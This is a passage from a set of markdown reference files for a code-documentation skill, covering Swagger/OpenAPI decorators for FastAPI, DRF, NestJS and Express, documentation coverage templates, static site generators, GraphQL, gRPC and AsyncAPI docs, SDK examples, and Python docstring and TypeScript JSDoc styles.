value={\"name\": \"John\", \"email\": \"john@example.com\"},\n        ),\n    ],\n)\ndef create(self, request):\n    \"\"\"Create a new user.\"\"\"\n```\n\n## Quick Reference\n\n| Framework | Documentation Source          | Output          |\n| --------- | ----------------------------- | --------------- |\n| FastAPI   | Type hints + docstrings       | Auto Swagger UI |\n| DRF       | Serializers + drf-spectacular | Auto Swagger UI |\n\n| FastAPI Decorator | Purpose                    |\n| ----------------- | -------------------------- |\n| `summary`         | Short endpoint description |\n| `description`     | Detailed description       |\n| `tags`            | Group endpoints            |\n| `response_model`  | Response schema            |\n| `responses`       | Additional response codes  |\n\n| DRF Decorator      | Purpose           |\n| ------------------ | ----------------- |\n| `@extend_schema`   | Customize schema  |\n| `OpenApiParameter` | Query/path params |\n| `OpenApiExample`   | Request examples  |\n\n<!-- File: skills/code-documenter/references/api-docs-nestjs-express.md (Tokens: ~1229 | Category: anthropic-skill) -->\n# API Documentation: NestJS & Express\n\n## NestJS (@nestjs/swagger)\n\nNestJS requires explicit decorators for OpenAPI documentation.\n\n### Controller Documentation\n\n```typescript\nimport { Controller, Post, Body, Get, Param } from \"@nestjs/common\"\nimport { ApiTags, ApiOperation, ApiResponse, ApiParam, ApiBearerAuth } from \"@nestjs/swagger\"\n\n@ApiTags(\"Users\")\n@ApiBearerAuth()\n@Controller(\"users\")\nexport class UsersController {\n  @Post()\n  @ApiOperation({ summary: \"Create a new user\" })\n  @ApiResponse({\n    status: 201,\n    description: \"User created successfully\",\n    type: UserDto,\n  })\n  @ApiResponse({\n    status: 400,\n    description: \"Invalid input data\",\n  })\n  async create(@Body() dto: CreateUserDto): Promise<UserDto> {\n    return this.usersService.create(dto)\n  }\n\n  @Get(\":id\")\n  @ApiOperation({ summary: \"Get user by ID\" })\n  @ApiParam({\n    name: \"id\",\n    description: \"User unique identifier\",\n    example: \"123\",\n  })\n  @ApiResponse({ status: 200, type: UserDto })\n  @ApiResponse({ status: 404, description: \"User not found\" })\n  async findOne(@Param(\"id\") id: string): Promise<UserDto> {\n    return this.usersService.findOne(id)\n  }\n}\n```\n\n### DTO Documentation\n\n```typescript\nimport { ApiProperty, ApiPropertyOptional } from \"@nestjs/swagger\"\nimport { IsEmail, IsString, MinLength } from \"class-validator\"\n\nexport class CreateUserDto {\n  @ApiProperty({\n    description: \"User's display name\",\n    example: \"John Doe\",\n    minLength: 1,\n    maxLength: 100,\n  })\n  @IsString()\n  @MinLength(1)\n  name: string\n\n  @ApiProperty({\n    description: \"User's email address\",\n    example: \"john@example.com\",\n  })\n  @IsEmail()\n  email: string\n\n  @ApiPropertyOptional({\n    description: \"Profile picture URL\",\n    example: \"https://example.com/avatar.jpg\",\n  })\n  avatarUrl?: string\n}\n```\n\n## Express (swagger-jsdoc)\n\nExpress uses JSDoc comments with swagger annotations.\n\n### Setup\n\n```javascript\nconst swaggerJsdoc = require(\"swagger-jsdoc\")\nconst swaggerUi = require(\"swagger-ui-express\")\n\nconst options = {\n  definition: {\n    openapi: \"3.0.0\",\n    info: {\n      title: \"API Documentation\",\n      version: \"1.0.0\",\n    },\n  },\n  apis: [\"./routes/*.js\"],\n}\n\nconst specs = swaggerJsdoc(options)\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(specs))\n```\n\n### Route Documentation\n\n```javascript\n/**\n * @swagger\n * /users:\n *   post:\n *     summary: Create a new user\n *     tags: [Users]\n *     requestBody:\n *       required: true\n *       content:\n *         application/json:\n *           schema:\n *             $ref: '#/components/schemas/CreateUser'\n *     responses:\n *       201:\n *         description: User created successfully\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       400:\n *         description: Invalid input\n */\nrouter.post(\"/users\", createUser)\n\n/**\n * @swagger\n * /users/{id}:\n *   get:\n *     summary: Get user by ID\n *     tags: [Users]\n *     parameters:\n *       - in: path\n *         name: id\n *         required: true\n *         schema:\n *           type: string\n *         description: User ID\n *     responses:\n *       200:\n *         description: User found\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       404:\n *         description: User not found\n */\nrouter.get(\"/users/:id\", getUser)\n```\n\n### Schema Documentation\n\n```javascript\n/**\n * @swagger\n * components:\n *   schemas:\n *     CreateUser:\n *       type: object\n *       required:\n *         - name\n *         - email\n *       properties:\n *         name:\n *           type: string\n *           description: User's display name\n *           example: John Doe\n *         email:\n *           type: string\n *           format: email\n *           description: User's email address\n *           example: john@example.com\n *     User:\n *       allOf:\n *         - $ref: '#/components/schemas/CreateUser'\n *         - type: object\n *           properties:\n *             id:\n *               type: string\n *               description: Unique identifier\n *             createdAt:\n *               type: string\n *               format: date-time\n */\n```\n\n## Quick Reference\n\n| NestJS Decorator   | Purpose                |\n| ------------------ | ---------------------- |\n| `@ApiTags()`       | Group endpoints        |\n| `@ApiOperation()`  | Endpoint summary       |\n| `@ApiResponse()`   | Response documentation |\n| `@ApiParam()`      | Path parameter         |\n| `@ApiQuery()`      | Query parameter        |\n| `@ApiBody()`       | Request body           |\n| `@ApiBearerAuth()` | Auth requirement       |\n| `@ApiProperty()`   | DTO property           |\n\n| Express swagger-jsdoc | Purpose             |\n| --------------------- | ------------------- |\n| `@swagger`            | Start swagger block |\n| `tags`                | Group endpoints     |\n| `summary`             | Short description   |\n| `parameters`          | Path/query params   |\n| `requestBody`         | Request body schema |\n| `responses`           | Response schemas    |\n| `$ref`                | Reference schema    |\n\n<!-- File: skills/code-documenter/references/coverage-reports.md (Tokens: ~811 | Category: anthropic-skill) -->\n# Coverage Reports\n\n## Documentation Coverage Report Template\n\n````markdown\n# Documentation Report: {project_name}\n\n## Summary\n\n- **Files analyzed**: 45\n- **Functions documented**: 120/150 (80%)\n- **Classes documented**: 25/25 (100%)\n- **API endpoints documented**: 30/30 (100%)\n\n## Coverage Before/After\n\n- Before: 45%\n- After: 92%\n\n## Files Modified\n\n| File                     | Functions Added | Notes                 |\n| ------------------------ | --------------- | --------------------- |\n| src/services/user.ts     | 8               | All public methods    |\n| src/services/auth.ts     | 5               | Added examples        |\n| src/controllers/users.ts | 6               | Added @Api decorators |\n| src/dto/user.dto.ts      | 4               | Added @ApiProperty    |\n\n## API Documentation\n\n- **Framework**: NestJS\n- **Strategy**: @nestjs/swagger decorators\n- **Swagger UI**: /api/docs\n- **OpenAPI spec**: /api-json\n\n## Documentation Style\n\n- **Python**: Google style docstrings\n- **TypeScript**: JSDoc with @param, @returns\n- **API**: OpenAPI 3.0 via decorators\n\n## Next Steps\n\n### Recommendations\n\n1. Run `npm run docs:lint` to validate JSDoc\n2. Add `eslint-plugin-jsdoc` to enforce documentation\n3. Consider adding examples for complex functions\n4. Set up documentation CI checks\n\n### Missing Documentation\n\n| File                | Missing     | Priority |\n| ------------------- | ----------- | -------- |\n| src/utils/crypto.ts | 3 functions | High     |\n| src/helpers/date.ts | 2 functions | Medium   |\n\n### CI Integration\n\n```yaml\n# Add to CI pipeline\n- name: Check documentation\n  run: npm run docs:check\n\n- name: Generate API docs\n  run: npm run docs:generate\n```\n````\n\n````\n\n## Checklist During Documentation\n\n```markdown\n## Documentation Checklist\n\n### Before Starting\n- [ ] Confirmed format preference (Google/JSDoc/etc.)\n- [ ] Identified files to exclude (tests, generated)\n- [ ] Detected framework for API docs\n\n### Functions/Methods\n- [ ] All public functions documented\n- [ ] Parameters described with types\n- [ ] Return values documented\n- [ ] Exceptions/errors documented\n- [ ] Examples added for complex functions\n\n### Classes\n- [ ] Class purpose described\n- [ ] Constructor parameters documented\n- [ ] Public methods documented\n- [ ] Important attributes explained\n\n### API Endpoints\n- [ ] All endpoints have summaries\n- [ ] Request bodies documented\n- [ ] Response schemas defined\n- [ ] Error responses documented\n- [ ] Authentication requirements noted\n\n### Final Checks\n- [ ] Ran documentation linter\n- [ ] Verified Swagger UI renders correctly\n- [ ] No inaccurate documentation\n- [ ] Coverage report generated\n````\n\n## Framework-Specific Linting\n\n```bash\n# JavaScript/TypeScript - ESLint\nnpm install eslint-plugin-jsdoc --save-dev\n# Add to .eslintrc: \"plugins\": [\"jsdoc\"]\n\n# Python - pydocstyle\npip install pydocstyle\npydocstyle --convention=google src/\n\n# Python - interrogate (coverage)\npip install interrogate\ninterrogate -v src/\n```\n\n## Quick Reference\n\n| Metric                | Good | Acceptable | Poor  |\n| --------------------- | ---- | ---------- | ----- |\n| Function coverage     | >90% | 70-90%     | <70%  |\n| Class coverage        | 100% | >90%       | <90%  |\n| API endpoint coverage | 100% | 100%       | <100% |\n| Example coverage      | >50% | 30-50%     | <30%  |\n\n<!-- File: skills/code-documenter/references/documentation-systems.md (Tokens: ~1673 | Category: anthropic-skill) -->\n# Documentation Systems & Infrastructure\n\n## Static Site Generators\n\n### Docusaurus (Meta)\n\n```bash\n# Setup\nnpx create-docusaurus@latest docs classic\ncd docs && npm start\n\n# Structure\ndocs/\n├── docs/           # Documentation pages\n├── blog/           # Blog posts\n├── src/\n│   └── pages/      # Custom pages\n└── docusaurus.config.js\n```\n\n**docusaurus.config.js:**\n\n```javascript\nmodule.exports = {\n  title: \"My API\",\n  tagline: \"Build amazing things\",\n  url: \"https://docs.example.com\",\n  baseUrl: \"/\",\n\n  themeConfig: {\n    navbar: {\n      items: [\n        { to: \"/docs/intro\", label: \"Docs\", position: \"left\" },\n        { to: \"/api\", label: \"API\", position: \"left\" },\n      ],\n    },\n\n    // Algolia search\n    algolia: {\n      apiKey: \"YOUR_API_KEY\",\n      indexName: \"your_index\",\n      contextualSearch: true,\n    },\n\n    prism: {\n      theme: lightCodeTheme,\n      darkTheme: darkCodeTheme,\n      additionalLanguages: [\"python\", \"rust\"],\n    },\n  },\n}\n```\n\n### MkDocs (Python)\n\n```yaml\n# mkdocs.yml\nsite_name: My API Documentation\ntheme:\n  name: material\n  features:\n    - navigation.tabs\n    - navigation.sections\n    - toc.integrate\n    - search.suggest\n    - search.highlight\n  palette:\n    - scheme: default\n      toggle:\n        icon: material/brightness-7\n        name: Switch to dark mode\n    - scheme: slate\n      toggle:\n        icon: material/brightness-4\n        name: Switch to light mode\n\nplugins:\n  - search\n  - mkdocstrings:\n      handlers:\n        python:\n          options:\n            show_source: true\n  - git-revision-date-localized\n\nmarkdown_extensions:\n  - pymdownx.highlight\n  - pymdownx.superfences\n  - admonition\n  - codehilite\n\nnav:\n  - Home: index.md\n  - Getting Started: getting-started.md\n  - API Reference: api/\n```\n\n### VitePress (Vue)\n\n```typescript\n// .vitepress/config.ts\nexport default defineConfig({\n  title: \"API Docs\",\n  description: \"Developer documentation\",\n\n  themeConfig: {\n    nav: [\n      { text: \"Guide\", link: \"/guide/\" },\n      { text: \"API\", link: \"/api/\" },\n    ],\n\n    sidebar: {\n      \"/guide/\": [\n        {\n          text: \"Introduction\",\n          items: [\n            { text: \"Getting Started\", link: \"/guide/getting-started\" },\n            { text: \"Configuration\", link: \"/guide/config\" },\n          ],\n        },\n      ],\n    },\n\n    search: {\n      provider: \"local\",\n    },\n\n    editLink: {\n      pattern: \"https://github.com/user/repo/edit/main/docs/:path\",\n    },\n  },\n})\n```\n\n## Multi-Version Documentation\n\n### Version Switcher\n\n```javascript\n// Docusaurus versions\n{\n  versions: {\n    current: {\n      label: '2.0 (Next)',\n      path: 'next',\n    },\n  },\n  onlyIncludeVersions: ['current', '1.5', '1.4'],\n}\n```\n\n### Migration Guides\n\n````markdown\n# Migration Guide: v1 to v2\n\n## Breaking Changes\n\n### Authentication\n\n**v1:**\n\n```python\nclient.authenticate(api_key)\n```\n````\n\n**v2:**\n\n```python\nclient = Client(api_key=api_key)  # Pass in constructor\n```\n\n### Renamed Methods\n\n| v1              | v2              | Notes           |\n| --------------- | --------------- | --------------- |\n| `get_user()`    | `fetch_user()`  | Async now       |\n| `delete_user()` | `remove_user()` | Returns Promise |\n\n## Deprecation Timeline\n\n- v1.x: Supported until Dec 2025\n- v2.0: Released Jan 2025\n- v2.1: Current (June 2025)\n\n````\n\n## Search Implementation\n\n### Algolia DocSearch\n\n```html\n<!-- Add to theme -->\n<link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/@docsearch/css@3\" />\n\n<script src=\"https://cdn.jsdelivr.net/npm/@docsearch/js@3\"></script>\n<script>\n  docsearch({\n    appId: 'YOUR_APP_ID',\n    apiKey: 'YOUR_API_KEY',\n    indexName: 'your_index',\n    container: '#docsearch',\n  });\n</script>\n````\n\n### Local Search (Lunr.js)\n\n```javascript\nconst idx = lunr(function () {\n  this.ref(\"id\")\n  this.field(\"title\", { boost: 10 })\n  this.field(\"content\")\n\n  documents.forEach((doc) => this.add(doc))\n})\n\n// Search\nconst results = idx.search(\"authentication\")\n```\n\n## Documentation Testing\n\n### Link Checking\n\n```bash\n# linkcheck (Python)\npip install linkchecker\nlinkchecker http://localhost:3000/docs\n\n# broken-link-checker (Node)\nnpm install -g broken-link-checker\nblc http://localhost:3000 -ro\n```\n\n### Code Example Testing\n\n```python\n# doctest for Python examples\n\"\"\"\n>>> add(2, 3)\n5\n>>> add(-1, 1)\n0\n\"\"\"\n\n# Run tests\npython -m doctest -v docs/*.md\n```\n\n```javascript\n// Jest for TypeScript examples\n// Extract code blocks and test\nimport { runExamples } from \"./test-docs\"\n\ntest(\"API examples work\", async () => {\n  const examples = extractExamples(\"./docs/api.md\")\n  await expect(runExamples(examples)).resolves.toBeTruthy()\n})\n```\n\n## Performance Optimization\n\n### Build Optimization\n\n```javascript\n// Webpack/Vite config\nexport default {\n  build: {\n    rollupOptions: {\n      output: {\n        manualChunks: {\n          vendor: [\"react\", \"react-dom\"],\n        },\n      },\n    },\n  },\n\n  optimizeDeps: {\n    include: [\"prismjs\"],\n  },\n}\n```\n\n### CDN & Caching\n\n```nginx\n# nginx.conf\nlocation /docs {\n  expires 1y;\n  add_header Cache-Control \"public, immutable\";\n}\n\nlocation ~* \\.(html)$ {\n  expires 1h;\n  add_header Cache-Control \"public, must-revalidate\";\n}\n```\n\n## Analytics Integration\n\n### Google Analytics\n\n```javascript\n// Docusaurus\ngtag: {\n  trackingID: 'G-XXXXXXXXXX',\n  anonymizeIP: true,\n},\n```\n\n### Custom Analytics\n\n```javascript\n// Track search queries\nfunction trackSearch(query, results) {\n  analytics.track(\"docs_search\", {\n    query,\n    resultCount: results.length,\n    timestamp: new Date(),\n  })\n}\n```\n\n## Quick Reference\n\n| Tool       | Best For                      | Tech Stack     |\n| ---------- | ----------------------------- | -------------- |\n| Docusaurus | React projects, versioning    | React, MDX     |\n| MkDocs     | Python projects, simple setup | Python, Jinja2 |\n| VitePress  | Vue projects, fast builds     | Vue, Vite      |\n| Nextra     | Next.js integration           | React, Next.js |\n| Mintlify   | Modern UI, AI search          | React          |\n\n| Search Solution   | Cost             | Features            |\n| ----------------- | ---------------- | ------------------- |\n| Algolia DocSearch | Free (OSS)       | Fast, typo-tolerant |\n| Local (Lunr.js)   | Free             | Offline, no server  |\n| Typesense         | Free (self-host) | Privacy-focused     |\n| Meilisearch       | Free (self-host) | Fast, relevance     |\n\n<!-- File: skills/code-documenter/references/interactive-api-docs.md (Tokens: ~2545 | Category: anthropic-skill) -->\n# Interactive API Documentation\n\n## OpenAPI 3.1 Advanced Features\n\n### Reusable Components\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Users API\n  version: 2.0.0\n\ncomponents:\n  # Reusable schemas\n  schemas:\n    User:\n      type: object\n      required: [id, email]\n      properties:\n        id:\n          type: string\n          format: uuid\n          example: \"123e4567-e89b-12d3-a456-426614174000\"\n        email:\n          type: string\n          format: email\n          example: \"user@example.com\"\n\n    Error:\n      type: object\n      properties:\n        code:\n          type: string\n        message:\n          type: string\n        details:\n          type: object\n\n    PaginatedResponse:\n      type: object\n      properties:\n        data:\n          type: array\n          items: {}\n        total:\n          type: integer\n        page:\n          type: integer\n\n  # Reusable parameters\n  parameters:\n    PageParam:\n      name: page\n      in: query\n      schema:\n        type: integer\n        default: 1\n        minimum: 1\n\n    LimitParam:\n      name: limit\n      in: query\n      schema:\n        type: integer\n        default: 20\n        minimum: 1\n        maximum: 100\n\n  # Security schemes\n  securitySchemes:\n    BearerAuth:\n      type: http\n      scheme: bearer\n      bearerFormat: JWT\n\n    ApiKeyAuth:\n      type: apiKey\n      in: header\n      name: X-API-Key\n\n    OAuth2:\n      type: oauth2\n      flows:\n        authorizationCode:\n          authorizationUrl: https://api.example.com/oauth/authorize\n          tokenUrl: https://api.example.com/oauth/token\n          scopes:\n            read:users: Read user data\n            write:users: Modify user data\n\n  # Reusable responses\n  responses:\n    NotFound:\n      description: Resource not found\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\n    Unauthorized:\n      description: Authentication required\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\npaths:\n  /users:\n    get:\n      summary: List users\n      parameters:\n        - $ref: \"#/components/parameters/PageParam\"\n        - $ref: \"#/components/parameters/LimitParam\"\n      security:\n        - BearerAuth: []\n      responses:\n        \"200\":\n          description: Success\n          content:\n            application/json:\n              schema:\n                allOf:\n                  - $ref: \"#/components/schemas/PaginatedResponse\"\n                  - type: object\n                    properties:\n                      data:\n                        type: array\n                        items:\n                          $ref: \"#/components/schemas/User\"\n```\n\n## Interactive Documentation Portals\n\n### Swagger UI Customization\n\n```javascript\n// Custom Swagger UI\nconst swaggerUi = require(\"swagger-ui-express\")\nconst swaggerDocument = require(\"./openapi.json\")\n\nconst options = {\n  customCss: \".swagger-ui .topbar { display: none }\",\n  customSiteTitle: \"API Docs\",\n  customfavIcon: \"/favicon.ico\",\n  swaggerOptions: {\n    persistAuthorization: true,\n    displayRequestDuration: true,\n    filter: true,\n    tryItOutEnabled: true,\n    requestInterceptor: (req) => {\n      req.headers[\"X-Custom-Header\"] = \"value\"\n      return req\n    },\n  },\n}\n\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(swaggerDocument, options))\n```\n\n### Redoc (Modern Alternative)\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>API Documentation</title>\n    <link\n      href=\"https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700\"\n      rel=\"stylesheet\"\n    />\n  </head>\n  <body>\n    <redoc\n      spec-url=\"./openapi.yaml\"\n      hide-download-button\n      required-props-first\n      native-scrollbars\n      theme='{\n      \"colors\": {\n        \"primary\": {\n          \"main\": \"#4285F4\"\n        }\n      },\n      \"typography\": {\n        \"fontSize\": \"16px\",\n        \"fontFamily\": \"Roboto, sans-serif\"\n      }\n    }'\n    >\n    </redoc>\n    <script src=\"https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js\"></script>\n  </body>\n</html>\n```\n\n### Stoplight Elements\n\n```javascript\nimport { API } from \"@stoplight/elements\"\nimport \"@stoplight/elements/styles.min.css\"\n\nfunction App() {\n  return (\n    <API\n      apiDescriptionUrl=\"./openapi.yaml\"\n      router=\"hash\"\n      layout=\"sidebar\"\n      tryItCredentialsPolicy=\"include\"\n    />\n  )\n}\n```\n\n## Multi-Protocol Documentation\n\n### GraphQL Schema Documentation\n\n```graphql\n\"\"\"\nUser account in the system\n\"\"\"\ntype User {\n  \"\"\"\n  Unique user identifier\n  \"\"\"\n  id: ID!\n\n  \"\"\"\n  User's email address (unique)\n  @example \"user@example.com\"\n  \"\"\"\n  email: String!\n\n  \"\"\"\n  Display name\n  @example \"John Doe\"\n  \"\"\"\n  name: String!\n\n  \"\"\"\n  User's posts (paginated)\n  \"\"\"\n  posts(\n    \"\"\"\n    Number of items per page (max 100)\n    \"\"\"\n    limit: Int = 20\n    \"\"\"\n    Page offset\n    \"\"\"\n    offset: Int = 0\n  ): PostConnection!\n}\n\ntype Query {\n  \"\"\"\n  Fetch a user by ID\n  \"\"\"\n  user(\n    \"\"\"\n    User's unique identifier\n    \"\"\"\n    id: ID!\n  ): User\n\n  \"\"\"\n  Search users by name or email\n  \"\"\"\n  searchUsers(\n    \"\"\"\n    Search query\n    \"\"\"\n    query: String!\n    \"\"\"\n    Maximum results to return\n    \"\"\"\n    limit: Int = 10\n  ): [User!]!\n}\n\ntype Mutation {\n  \"\"\"\n  Create a new user account\n  \"\"\"\n  createUser(\n    \"\"\"\n    User creation input\n    \"\"\"\n    input: CreateUserInput!\n  ): CreateUserPayload!\n}\n\n\"\"\"\nInput for creating a user\n\"\"\"\ninput CreateUserInput {\n  \"\"\"\n  User's email address\n  \"\"\"\n  email: String!\n  \"\"\"\n  Display name\n  \"\"\"\n  name: String!\n}\n```\n\n**GraphQL Playground:**\n\n```javascript\nconst { ApolloServer } = require(\"apollo-server\")\n\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: true, // Enable in dev\n  playground: {\n    settings: {\n      \"editor.theme\": \"dark\",\n      \"editor.fontSize\": 14,\n    },\n  },\n})\n```\n\n### WebSocket Protocol Documentation\n\n```yaml\n# AsyncAPI 2.0\nasyncapi: 2.5.0\ninfo:\n  title: Chat WebSocket API\n  version: 1.0.0\n  description: Real-time chat messaging\n\nchannels:\n  chat/{roomId}:\n    parameters:\n      roomId:\n        description: Chat room identifier\n        schema:\n          type: string\n\n    subscribe:\n      summary: Receive messages\n      message:\n        oneOf:\n          - $ref: \"#/components/messages/ChatMessage\"\n          - $ref: \"#/components/messages/UserJoined\"\n\n    publish:\n      summary: Send a message\n      message:\n        $ref: \"#/components/messages/ChatMessage\"\n\ncomponents:\n  messages:\n    ChatMessage:\n      name: message\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          content:\n            type: string\n          timestamp:\n            type: string\n            format: date-time\n\n    UserJoined:\n      name: userJoined\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          username:\n            type: string\n```\n\n### gRPC Documentation\n\n```protobuf\nsyntax = \"proto3\";\n\npackage users.v1;\n\n// User service manages user accounts\nservice UserService {\n  // Get a user by ID\n  // Returns: User object or NOT_FOUND error\n  rpc GetUser(GetUserRequest) returns (User) {}\n\n  // List all users with pagination\n  // Returns: Paginated list of users\n  rpc ListUsers(ListUsersRequest) returns (ListUsersResponse) {}\n\n  // Create a new user\n  // Returns: Created user or ALREADY_EXISTS error\n  rpc CreateUser(CreateUserRequest) returns (User) {}\n\n  // Stream user updates in real-time\n  // Returns: Stream of user update events\n  rpc WatchUsers(WatchUsersRequest) returns (stream UserEvent) {}\n}\n\n// User account\nmessage User {\n  // Unique identifier\n  string id = 1;\n\n  // Email address (unique, required)\n  string email = 2;\n\n  // Display name\n  string name = 3;\n\n  // Account creation timestamp\n  google.protobuf.Timestamp created_at = 4;\n}\n```\n\n## SDK Documentation Strategies\n\n### Multi-Language Examples\n\n````markdown\n# Create User\n\n## Python\n\n```python\nfrom myapi import Client\n\nclient = Client(api_key=\"your_key\")\nuser = client.users.create(\n    name=\"John Doe\",\n    email=\"john@example.com\"\n)\nprint(user.id)\n```\n````\n\n## TypeScript\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\nconsole.log(user.id)\n```\n\n## Go\n\n```go\nimport \"github.com/myapi/sdk-go\"\n\nclient := sdk.NewClient(\"your_key\")\nuser, err := client.Users.Create(ctx, &sdk.CreateUserInput{\n    Name:  \"John Doe\",\n    Email: \"john@example.com\",\n})\nif err != nil {\n    log.Fatal(err)\n}\nfmt.Println(user.ID)\n```\n\n## Ruby\n\n```ruby\nrequire 'myapi'\n\nclient = MyAPI::Client.new(api_key: 'your_key')\nuser = client.users.create(\n  name: 'John Doe',\n  email: 'john@example.com'\n)\nputs user.id\n```\n\n````\n\n### SDK Reference Template\n\n```markdown\n# Users SDK\n\n## Installation\n```bash\nnpm install @myapi/sdk\n````\n\n## Configuration\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({\n  apiKey: process.env.API_KEY,\n  baseUrl: \"https://api.example.com\", // Optional\n  timeout: 30000, // Optional, default 30s\n})\n```\n\n## Methods\n\n### `client.users.create(data)`\n\nCreate a new user.\n\n**Parameters:**\n\n- `data.name` (string, required) - User's display name\n- `data.email` (string, required) - User's email address\n\n**Returns:** Promise<User>\n\n**Throws:**\n\n- `ValidationError` - Invalid input data\n- `ConflictError` - Email already exists\n- `AuthenticationError` - Invalid API key\n\n**Example:**\n\n```typescript\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\n```\n\n## Error Handling\n\n```typescript\nimport { ValidationError, ConflictError } from \"@myapi/sdk\"\n\ntry {\n  await client.users.create(data)\n} catch (error) {\n  if (error instanceof ValidationError) {\n    console.error(\"Invalid data:\", error.fields)\n  } else if (error instanceof ConflictError) {\n    console.error(\"User already exists\")\n  }\n}\n```\n\n```\n\n## Quick Reference\n\n| Tool | Protocol | Features |\n|------|----------|----------|\n| Swagger UI | REST | Try-it-out, auth |\n| Redoc | REST | Clean, responsive |\n| Stoplight | REST | Modern, mock server |\n| GraphQL Playground | GraphQL | Explorer, history |\n| AsyncAPI Studio | WebSocket | Visual editor |\n| grpcui | gRPC | Interactive console |\n```\n\n<!-- File: skills/code-documenter/references/python-docstrings.md (Tokens: ~788 | Category: anthropic-skill) -->\n# Python Docstrings\n\n## Google Style (Recommended)\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    Args:\n        items: List of items to calculate total for.\n        tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n\n    Returns:\n        Total cost including tax.\n\n    Raises:\n        ValueError: If tax_rate is negative or items is empty.\n\n    Example:\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## NumPy Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"\n    Calculate total cost including tax.\n\n    Parameters\n    ----------\n    items : list[Item]\n        List of items to calculate total for.\n    tax_rate : float, optional\n        Tax rate as decimal (e.g., 0.08 for 8%). Default is 0.0.\n\n    Returns\n    -------\n    float\n        Total cost including tax.\n\n    Raises\n    ------\n    ValueError\n        If tax_rate is negative or items is empty.\n\n    Examples\n    --------\n    >>> calculate_total([Item(10), Item(20)], 0.1)\n    33.0\n    \"\"\"\n```\n\n## Sphinx Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    :param items: List of items to calculate total for.\n    :type items: list[Item]\n    :param tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n    :type tax_rate: float\n    :returns: Total cost including tax.\n    :rtype: float\n    :raises ValueError: If tax_rate is negative or items is empty.\n\n    .. code-block:: python\n\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## Class Documentation\n\n```python\nclass UserService:\n    \"\"\"Service for managing user operations.\n\n    This service handles CRUD operations for users and\n    integrates with the authentication system.\n\n    Attributes:\n        db: Database session for queries.\n        cache: Redis client for caching.\n\n    Example:\n        >>> service = UserService(db, cache)\n        >>> user = await service.create_user(data)\n    \"\"\"\n\n    def __init__(self, db: AsyncSession, cache: Redis) -> None:\n        \"\"\"Initialize UserService.\n\n        Args:\n            db: Database session for queries.\n            cache: Redis client for caching.\n        \"\"\"\n```\n\n## Quick Reference\n\n| Style  | Args Format          | Returns Format    |\n| ------ | -------------------- | ----------------- |\n| Google | `Args:` block        | `Returns:` block  |\n| NumPy  | `Parameters` section | `Returns` section |\n| Sphinx | `:param name:`       | `:returns:`       |\n\n## Sections Available\n\n| Section    | Google        | NumPy        | Sphinx            |\n| ---------- | ------------- | ------------ | ----------------- |\n| Parameters | `Args:`       | `Parameters` | `:param:`         |\n| Returns    | `Returns:`    | `Returns`    | `:returns:`       |\n| Raises     | `Raises:`     | `Raises`     | `:raises:`        |\n| Examples   | `Example:`    | `Examples`   | `.. code-block::` |\n| Notes      | `Note:`       | `Notes`      | `.. note::`       |\n| Attributes | `Attributes:` | `Attributes` | `:ivar:`          |\n\n<!-- File: skills/code-documenter/references/typescript-jsdoc.md (Tokens: ~802 | Category: anthropic-skill) -->\n# TypeScript JSDoc\n\n## Function Documentation\n\n````typescript\n/**\n * Calculate total cost including tax.\n *\n * @param items - List of items to calculate total for\n * @param taxRate - Tax rate as decimal (e.g., 0.08 for 8%)\n * @returns Total cost including tax\n * @throws {Error} If taxRate is negative or items is empty\n *\n * @example\n * ```typescript\n * const total = calculateTotal(items, 0.08);\n * console.log(total); // 108.00\n * ```\n */\nfunction calculateTotal(items: Item[], taxRate = 0): number {\n````\n\n## Class Documentation\n\n````typescript\n/**\n * Service for managing user operations.\n *\n * Handles CRUD operations and integrates with authentication system.\n *\n * @example\n * ```typescript\n * const service = new UserService(db, cache);\n * const user = await service.create(userData);\n * ```\n */\nclass UserService {\n  /**\n   * Create a new UserService instance.\n   *\n   * @param db - Database connection\n   * @param cache - Redis cache client\n   */\n  constructor(\n    private readonly db: Database,\n    private readonly cache: Cache\n  ) {}\n}\n````\n\n## Interface Documentation\n\n```typescript\n/**\n * User data transfer object.\n *\n * @interface UserDto\n */\ninterface UserDto {\n  /** Unique user identifier */\n  id: string\n\n  /** User's email address (unique) */\n  email: string\n\n  /** User's display name */\n  name: string\n\n  /** Account creation timestamp */\n  createdAt: Date\n}\n```\n\n## Generic Types\n\n```typescript\n/**\n * Paginated response wrapper.\n *\n * @template T - Type of items in the data array\n */\ninterface PaginatedResponse<T> {\n  /** Array of items for current page */\n  data: T[]\n\n  /** Total number of items across all pages */\n  total: number\n\n  /** Current page number (1-indexed) */\n  page: number\n\n  /** Number of items per page */\n  limit: number\n}\n```\n\n## Async Functions\n\n```typescript\n/**\n * Fetch user by ID from database.\n *\n * @param id - User's unique identifier\n * @returns Promise 